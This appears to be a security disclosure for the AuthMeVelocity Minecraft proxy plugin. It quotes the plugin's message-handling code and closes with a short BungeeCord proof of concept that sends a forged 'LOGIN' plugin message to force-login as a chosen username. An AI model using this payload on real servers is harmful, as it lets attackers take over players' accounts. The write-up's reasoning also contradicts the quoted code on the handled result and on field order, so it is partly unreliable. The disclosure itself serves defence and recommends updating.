AuthMeVelocity is a plugin developed by 4drian3d to auto login players across servers in a velocity network. They used channels.
In the source code of the velocity side, you can see the following code
@Override
public EventTask executeAsync(final PluginMessageEvent event) {
return EventTask.async(() -> {
plugin.logDebug(() -> "PluginMessageEvent | Start");
if (notAllowedEvent(event)) {
plugin.logDebug(() -> "PluginMessageEvent | Not allowed");
return;
}
final ServerConnection connection = (ServerConnection) event.getSource();
event.setResult(PluginMessageEvent.ForwardResult.handled());
final ByteArrayDataInput input = event.dataAsDataStream();
final String message = input.readUTF();
final MessageType type = TYPES.valueOrThrow(message.toUpperCase(Locale.ROOT));
final String name = input.readUTF();
final Player player = proxy.getPlayer(name).orElse(null);
switch (type) {
case LOGIN -> {
plugin.logDebug("PluginMessageEvent | Login type");
if (player != null && plugin.addPlayer(player)) {
eventManager.fireAndForget(new ProxyLoginEvent(player));
if (plugin.config().get().sendOnLogin().sendToServerOnLogin()) {
this.createServerConnectionRequest(player, connection);
}
plugin.logDebug("PluginMessageEvent | Player not null");
}
}
case LOGOUT -> {
plugin.logDebug("PluginMessageEvent | Logout type");
if (player != null && plugin.removePlayer(player)){
eventManager.fireAndForget(new ProxyLogoutEvent(player));
plugin.logDebug(() -> "PluginMessageEvent | Player " + name + " not null");
}
}
case REGISTER -> {
plugin.logDebug("PluginMessageEvent | Register");
if (player != null) {
eventManager.fireAndForget(new ProxyRegisterEvent(player));
plugin.logDebug(() -> "PluginMessageEvent | Player " + name + " not null");
}
}
case UNREGISTER -> {
plugin.logDebug("PluginMessageEvent | Unregister type");
if (player != null) {
plugin.logDebug(() -> "PluginMessageEvent | Player " + name + " not null");
eventManager.fireAndForget(new ProxyUnregisterEvent(player));
}
}
case FORCE_UNREGISTER -> {
eventManager.fireAndForget(new ProxyForcedUnregisterEvent(player));
plugin.logDebug(() -> "PluginMessageEvent | Forced Unregister type, player " + name);
}
}
});
}
private boolean notAllowedEvent(PluginMessageEvent event) {
if (!event.getResult().isAllowed()) {
plugin.logDebug("PluginMessageEvent | Result not allowed");
return true;
}
if (!(event.getSource() instanceof ServerConnection)) {
plugin.logDebug("PluginMessageEvent | Not ServerConnection");
return true;
}
final var identifier = event.getIdentifier();
if (!(identifier.equals(AuthMeVelocityPlugin.MODERN_CHANNEL)
|| identifier.equals(AuthMeVelocityPlugin.LEGACY_CHANNEL))) {
plugin.logDebug(() -> "PluginMessageEvent | Not AuthMeVelocity Identifier: " + identifier.getId());
return true;
}
return false;
}
Method notAllowedEvent returns false if the connection is not a player connection. But in executeAsync method, event is never getting set to handled and hence getting forwarded to the backend server having the AuthMeVelocity-Paper plugin to force login the player when the message is received as coded in the following code.
@Override
public void onPluginMessageReceived(
final @NotNull String identifier,
final @NotNull Player $,
final byte @NotNull [] bytes
) {
if (identifier.equals("authmevelocity:main")) {
final ByteArrayDataInput input = ByteStreams.newDataInput(bytes);
final String data = input.readUTF();
final String username = input.readUTF();
processData(username, data);
plugin.logDebug("PluginMessage | AuthMeVelocity identifier processed");
}
}
private void processData(String name, String data) {
if (MessageType.LOGIN.toString().equals(data)) {
final Player player = this.plugin.getServer().getPlayer(name);
if (player == null) {
return;
}
plugin.logDebug("PluginMessage | Login Message");
Bukkit.getPluginManager().callEvent(new LoginByProxyEvent(player));
AuthMeApi.getInstance().forceLogin(player);
}
}
By sending a plugin message on channel authmevelocity:main
and writing the first UTF to your username and the second UTF to "LOGIN".
Here is an implementation of this exploit in BungeeCord bridge method
@Override
public void execute(CommandSender sender, String[] args) {
ByteArrayOutputStream b = new ByteArrayOutputStream();
DataOutputStream out = new DataOutputStream(b);
try {
out.writeUTF("LOGIN");
out .writeUTF(sender.getName());
StringBuilder stringBuilder = new StringBuilder();
} catch (IOException var10) {
var10.printStackTrace();
}
((ProxiedPlayer)sender).getServer().sendData("authmevelocity:main", b.toByteArray());
sender.sendMessage("Force login payload sent");
}
Just update your proxy plugin to the latest version.